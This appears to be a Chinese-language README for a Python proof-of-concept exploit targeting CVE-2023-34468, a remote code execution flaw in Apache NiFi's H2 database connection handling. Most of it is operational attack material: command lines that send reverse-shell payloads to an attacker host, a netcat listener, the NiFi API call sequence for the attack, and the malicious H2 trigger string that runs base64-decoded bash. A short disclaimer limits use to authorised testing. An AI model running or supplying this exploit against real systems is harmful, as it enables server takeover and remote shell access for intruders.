
CVE-2023-34468 - Apache NiFi H2 RCE PoC
本仓库提供了一个基于 Python 的漏洞利用工具,针对 CVE-2023-34468——Apache NiFi 0.0.2 至 1.21.0 版本中存在的一个严重远程代码执行漏洞(CVSS 9.8)。该工具允许已认证用户通过操纵内嵌触发器的 H2 数据库连接字符串来执行任意代码。
⚠️ 警告: 仅限教育和授权测试用途。未经授权访问计算机系统属违法行为。
requests 库nc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
验证: 检查你的监听器是否收到反向 Shell 连接。运行 id 以确认代码执行。
/nifi-api/system-diagnostics 识别 NiFi 版本/nifi-api/process-groups/root/controller-services POST 恶意 H2 连接字符串ENABLED PUT 到 /nifi-api/controller-services/{id}/run-statusRUNNING PUT 到 /nifi-api/processors/{id}/run-status —— H2 触发器在连接时触发jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
关键点:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES(自动触发)时执行# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
本工具仅用于安全研究和授权测试。作者不对因使用本漏洞利用工具而造成的滥用或损害负责。请始终在授权环境中负责任地测试。
MIT 许可证 - 详见 LICENSE 文件
专为安全研究和授权渗透测试而构建。
主题:apache-nifi h2-database rce exploit cve-2023-34468 python security-research
| 命令 | 描述 |
|---|
-t, --target | 目标 NiFi 实例 URL(必填) |
-c, --command | 要执行的命令(必填) |
-lh, --lhost | 回调监听主机(必填) |
-lp, --lport | 回调监听端口(必填) |
-u, --username | NiFi 用户名(已认证实例) |
-p, --password | NiFi 密码(已认证实例) |
--token | Bearer 令牌(已认证实例) |
--no-cleanup | 利用完成后跳过清理 |
--delay | 清理前等待的秒数(默认:10) |
--driver-path | 覆盖 H2 驱动 jar 路径(默认省略) |